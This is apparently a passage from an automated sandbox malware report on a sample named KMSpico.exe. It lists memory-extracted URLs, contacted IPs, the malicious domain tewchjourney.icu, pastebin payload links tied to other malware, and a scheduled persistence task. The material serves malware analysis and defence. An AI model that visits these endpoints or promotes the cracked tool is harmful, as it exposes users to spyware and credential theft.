                                                                          http://Passport.NET/tb_svchost.exe, 00000016.00000002.4001668010.0000026DE92B5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://login.livesvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://www.innosetup.com/KMSpico.tmp, KMSpico.tmp, 00000006.00000000.2449261840.0000000000401000.00000020.00000001.01000000.00000008.sdmp, is-8DDLC.tmp.6.drfalse
                                                                                		high
                                                                                https://login.icrosoftonlsvchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                https://tewchjourney.icu/api5core.exe, 00000004.00000003.2811601375.0000000000937000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000017.00000002.2942057979.0000000005066000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000017.00000002.2942057979.0000000005066000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://tewchjourney.icu/api/core.exe, 00000004.00000003.2687853972.00000000008C3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    https://go.micropowershell.exe, 00000017.00000002.2942057979.0000000005535000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://aka.ms/pscore6lBcqpowershell.exe, 00000017.00000002.2942057979.0000000004F11000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://account.live.com/msangcwamsvchost.exe, 00000016.00000003.2846246293.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4002837227.0000026DE9B37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738482681.0000026DE9B57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://contoso.com/Iconpowershell.exe, 00000017.00000002.2954902308.0000000005F77000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineKMSpico.exe, KMSpico.exe, 00000003.00000002.3998882400.0000000000401000.00000020.00000001.01000000.00000006.sdmpfalse
                                                                                              		high
                                                                                              https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://crl.rootca1.amazontrust.com/rootca1.crl0core.exe, 00000004.00000003.2750633291.000000000331E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  http://crl.ver)svchost.exe, 00000011.00000002.4007532017.0000023AE2600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001866835.0000026DE92CF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://passport.net/tbsvchost.exe, 00000016.00000002.4003972990.0000026DEA261000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001325729.0000026DE9283000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4003804556.0000026DEA24A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://login.microsoftonline.com/ppsecure/ResolveUser.srfnUpsvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        http://ocsp.rootca1.amazontrust.com0:core.exe, 00000004.00000003.2750633291.000000000331E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://account.live.com/InlineSignup.aspx?iww=1&id=80502fg:Completsvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://nsis.sf.net/NSIS_ErrorErrorKMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srfsvchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://www.ecosia.org/newtab/core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-brcore.exe, 00000004.00000003.2751984713.0000000003410000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://github.com/Pester/Pesterpowershell.exe, 00000017.00000002.2942057979.0000000005066000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://www.cloudflare.com/5xx-error-landingpowershell.exe, 00000017.00000002.2942057979.000000000515A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2942057979.000000000515E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        http://nsis.sf.net/NSIS_ErrorKMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          http://crl.micropowershell.exe, 00000017.00000002.2958044633.00000000073F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issuesvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898314215.0000026DE9B6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898254945.0000026DE9B6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4003163140.0000026DE9B6F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001866835.0000026DE92CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848257816.0000026DE9B66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2837133620.0000026DE9B66000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&refcore.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdessvchost.exe, 00000016.00000003.2886045830.0000026DE9B76000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  http://www.devcomponents.comAmailto:supportKMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000002.4018973559.000000001BFE2000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                  		unknown
                                                                                                                                  https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477core.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    http://www.devcomponents.com/dotnetbar/order.htmlKMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000002.4018973559.000000001BFE2000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      https://tewchjourney.icu/apiAcore.exe, 00000004.00000002.4001096493.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.3434694720.00000000008A4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      • Avira URL Cloud: safe
                                                                                                                                      		unknown
                                                                                                                                      https://login.microsoftonline.com/ppsecure/DeviceQuery.srfin.live.csvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:svchost.exe, 00000016.00000003.2756384827.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://web.telegram.orgcore.exe, 00000004.00000003.2687604867.000000000090A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSIDsvchost.exe, 00000016.00000003.2737812956.0000026DE9B10000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfsvchost.exe, 00000016.00000003.2737812956.0000026DE9B10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupUKMSpico.exe, 00000003.00000002.3998882400.0000000000401000.00000020.00000001.01000000.00000006.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYicore.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAsvchost.exe, 00000016.00000003.2845695408.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://contoso.com/Licensepowershell.exe, 00000017.00000002.2954902308.0000000005F77000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        https://login.microsoftonline.com/ppsecure/DeviceQuery.srfsvchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          http://schemas.xmlsoap.org/soap/envelope/KMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000000.2694639189.00000000009E2000.00000002.00000001.01000000.0000000D.sdmp, AutoPico.exe, 00000010.00000000.2697776380.0000000000888000.00000002.00000001.01000000.0000000F.sdmp, svchost.exe, 00000016.00000003.2828328663.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2827963544.0000026DE9B0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4003047138.0000026DE9B5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2827527626.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2828160328.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2827275933.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              http://schemas.xmlsoap.org/ws/2005/02/trustsvchost.exe, 00000016.00000002.4003047138.0000026DE9B5F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                https://tewchjourney.icu/apihcore.exe, 00000004.00000003.2687853972.00000000008BA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                                                		unknown
                                                                                                                                                                https://login.microsoftonline.com/MSARST2.srfsvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  http://Passport.Nsvchost.exe, 00000016.00000003.2858327754.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2886021783.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2845695408.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898085882.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                    		high
                                                                                                                                                                    http://www.devcomponents.comKSystem.Windows.Forms.ContextMenuStripKMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000002.4018973559.000000001BFE2000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      http://Passport.NET/STSsvchost.exe, 00000016.00000002.4002837227.0000026DE9B37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848357996.0000026DE9B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2885972865.0000026DE9B82000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898314215.0000026DE9B6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898254945.0000026DE9B6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4003163140.0000026DE9B6F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848257816.0000026DE9B66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2886242170.0000026DE9B82000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        http://crl.thawte.com/ThawteTimestampingCA.crl0KMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000000.2694639189.00000000009E2000.00000002.00000001.01000000.0000000D.sdmp, AutoPico.exe, 00000010.00000000.2697776380.0000000000888000.00000002.00000001.01000000.0000000F.sdmpfalse
                                                                                                                                                                          		high
                                                                                                                                                                          https://www.safer-networking.org/KMSpico.tmp, 00000001.00000002.2498152863.000000000094D000.00000004.00000010.00020000.00000000.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            http://x1.c.lencr.org/0core.exe, 00000004.00000003.2750633291.000000000331E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                              		high
                                                                                                                                                                              http://x1.i.lencr.org/0core.exe, 00000004.00000003.2750633291.000000000331E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xs8svchost.exe, 00000016.00000003.2904317719.0000026DE9B77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898314215.0000026DE9B6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898254945.0000026DE9B6D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchcore.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    https://contoso.com/powershell.exe, 00000017.00000002.2954902308.0000000005F77000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      https://account.live.com/Wizard/Password/Change?id=80601L_AccountSesvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        https://login.microsoftonline.com/ppsecure/EnumerateDevices.srfnagesvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          http://Passport.NET/tbsvchost.exe, 00000016.00000003.2846246293.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848357996.0000026DE9B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4003367495.0000026DE9B82000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848257816.0000026DE9B66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2904280719.0000026DE9B82000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4002717322.0000026DE9B13000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsvchost.exe, 00000016.00000003.2827187173.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848357996.0000026DE9B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2858843439.0000026DE9B6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2858634052.0000026DE9B76000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2904317719.0000026DE9B77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2827089561.0000026DE9B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898314215.0000026DE9B6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898254945.0000026DE9B6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4003163140.0000026DE9B6F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001866835.0000026DE92CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848257816.0000026DE9B66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2886045830.0000026DE9B76000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsdsvchost.exe, 00000016.00000003.2886045830.0000026DE9B76000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                		high

                                                                                                                                                                                                World Map of Contacted IPs

                                                                                                                                                                                                • No. of IPs < 25%
                                                                                                                                                                                                • 25% < No. of IPs < 50%
                                                                                                                                                                                                • 50% < No. of IPs < 75%
                                                                                                                                                                                                • 75% < No. of IPs

                                                                                                                                                                                                Public IPs

                                                                                                                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                8.8.8.8
                                                                                                                                                                                                		unknownUnited States
                                                                                                                                                                                                		15169GOOGLEUSfalse
                                                                                                                                                                                                104.21.112.1
                                                                                                                                                                                                		tewchjourney.icuUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                104.20.4.235
                                                                                                                                                                                                		pastebin.comUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                172.67.136.89
                                                                                                                                                                                                		myspecialdot.comUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                149.154.167.99
                                                                                                                                                                                                		t.meUnited Kingdom
                                                                                                                                                                                                		62041TELEGRAMRUfalse

                                                                                                                                                                                                Private

                                                                                                                                                                                                IP
                                                                                                                                                                                                127.0.0.1

                                                                                                                                                                                                General Information

                                                                                                                                                                                                Joe Sandbox version:42.0.0 Malachite
                                                                                                                                                                                                Analysis ID:1626785
                                                                                                                                                                                                Start date and time:2025-02-28 22:26:57 +01:00
                                                                                                                                                                                                Joe Sandbox product:CloudBasic
                                                                                                                                                                                                Overall analysis duration:0h 12m 3s
                                                                                                                                                                                                Hypervisor based Inspection enabled:false
                                                                                                                                                                                                Report type:full
                                                                                                                                                                                                Cookbook file name:default.jbs
                                                                                                                                                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                Run name:Run with higher sleep bypass
                                                                                                                                                                                                Number of analysed new started processes analysed:25
                                                                                                                                                                                                Number of new started drivers analysed:0
                                                                                                                                                                                                Number of existing processes analysed:0
                                                                                                                                                                                                Number of existing drivers analysed:0
                                                                                                                                                                                                Number of injected processes analysed:0
                                                                                                                                                                                                Technologies:
                                                                                                                                                                                                • HCA enabled
                                                                                                                                                                                                • EGA enabled
                                                                                                                                                                                                • AMSI enabled
                                                                                                                                                                                                Analysis Mode:default
                                                                                                                                                                                                Analysis stop reason:Timeout
                                                                                                                                                                                                Sample name:KMSpico.exe
                                                                                                                                                                                                Detection:MAL
                                                                                                                                                                                                Classification:mal88.phis.troj.spyw.evad.winEXE@35/790@5/6
                                                                                                                                                                                                EGA Information:
                                                                                                                                                                                                • Successful, ratio: 71.4%
                                                                                                                                                                                                HCA Information:
                                                                                                                                                                                                • Successful, ratio: 66%
                                                                                                                                                                                                • Number of executed functions: 204
                                                                                                                                                                                                • Number of non-executed functions: 234
                                                                                                                                                                                                Cookbook Comments:
                                                                                                                                                                                                • Found application associated with file extension: .exe
                                                                                                                                                                                                • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                                                                                                                                                                                                • Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

                                                                                                                                                                                                Warnings

                                                                                                                                                                                                • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                                                • Excluded IPs from analysis (whitelisted): 81.3.27.46, 188.34.165.100, 85.215.93.134, 78.47.93.191, 40.126.31.130, 40.126.31.0, 40.126.31.73, 20.190.159.129, 20.190.159.4, 40.126.31.67, 20.190.159.131, 20.190.159.0, 23.60.203.209, 104.40.67.19, 13.107.246.60, 4.175.87.197, 23.1.237.91
                                                                                                                                                                                                • Excluded domains from analysis (whitelisted): www.bing.com, 2.pool.ntp.org, prdv4a.aadg.msidentity.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, e16604.f.akamaiedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net, onedsblobvmssprdwus04.westus.cloudapp.azure.com, www.tm.lg.prod.aadmsa.trafficmanager.net
                                                                                                                                                                                                • Execution Graph export aborted for target KMSELDI.exe, PID 2172 because it is empty
                                                                                                                                                                                                • Execution Graph export aborted for target powershell.exe, PID 6460 because it is empty
                                                                                                                                                                                                • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                                                • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                                                                                                                                                Simulations

                                                                                                                                                                                                Behavior and APIs

                                                                                                                                                                                                TimeTypeDescription
                                                                                                                                                                                                22:28:52Task SchedulerRun new task: AutoPico Daily Restart path: "C:\Program Files\KMSpico\AutoPico.exe" s>/silent

                                                                                                                                                                                                Joe Sandbox View / Context

                                                                                                                                                                                                IPs

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                104.21.112.1Udeladelsers21.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                • www.tumbetgirislinki.fit/7tw6/
                                                                                                                                                                                                http://onedrivesharedfiles.sbs/Get hashmaliciousDarkCloudBrowse
                                                                                                                                                                                                • onedrivesharedfiles.sbs/
                                                                                                                                                                                                PAYMENT SWIFT COPY.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                • www.rbopisalive.cyou/6m32/
                                                                                                                                                                                                scan_0219025_pdf.exeGet hashmaliciousLokibotBrowse
                                                                                                                                                                                                • touxzw.ir/sccc/five/fre.php
                                                                                                                                                                                                gH68ux6XtG.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                • www.lucynoel6465.shop/jgkl/
                                                                                                                                                                                                PO from tpc Type 34.1 34,2 35 Spec 1.jsGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                • www.lucynoel6465.shop/jgkl/
                                                                                                                                                                                                SHIPMENT OF THE ORIGINAL DOCUMENTS.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                • www.sv3880.vip/zhdz/
                                                                                                                                                                                                LLLLLLLLASSSEERRRR.ps1Get hashmaliciousFormBookBrowse
                                                                                                                                                                                                • www.lucynoel6465.shop/jgkl/
                                                                                                                                                                                                laserl.ps1Get hashmaliciousFormBookBrowse
                                                                                                                                                                                                • www.tumbetgirislinki.fit/k566/?iLy=Wfpx&y2IHp=RARW43WNMKajmHoYlEtIRJLMiezSzeuXvXreCHJ6fEp5jkldk9mcWmm/U2k918FOdcoJ/x5nnQwLxIae2MHe6OYJ2CZYvza1X4jE5qPwznFDfci4lg==
                                                                                                                                                                                                AGODA COMPANY PTE LTD.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                • www.tumbetgirislinki.fit/ftbq/?FZQ=issILDDGsHFYNfmqjTyaiRCxUP7MBLRR+fLjt4U/PjAATIgmLn5xJ6OEKWMTVCkC8eR6wGGZNe6kNExjC2H5xoO/guvwFBH7lbkJQqoMGH7yD90zbw==&_j=6nA47ZHp
                                                                                                                                                                                                104.20.4.235gabe.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • pastebin.com/raw/sA04Mwk2
                                                                                                                                                                                                cr_asm_crypter.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • pastebin.com/raw/sA04Mwk2
                                                                                                                                                                                                vF20HtY4a4.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • pastebin.com/raw/sA04Mwk2
                                                                                                                                                                                                OSLdZanXNc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • pastebin.com/raw/sA04Mwk2
                                                                                                                                                                                                gaber.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • pastebin.com/raw/sA04Mwk2
                                                                                                                                                                                                cr_asm_crypter.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • pastebin.com/raw/sA04Mwk2
                                                                                                                                                                                                sostener.vbsGet hashmaliciousNjratBrowse
                                                                                                                                                                                                • pastebin.com/raw/V9y5Q5vv
                                                                                                                                                                                                sostener.vbsGet hashmaliciousXWormBrowse
                                                                                                                                                                                                • pastebin.com/raw/V9y5Q5vv
                                                                                                                                                                                                envifa.vbsGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                • pastebin.com/raw/V9y5Q5vv
                                                                                                                                                                                                New Voicemail Invoice 64746w .jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                                • pastebin.com/raw/NsQ5qTHr

                                                                                                                                                                                                Domains

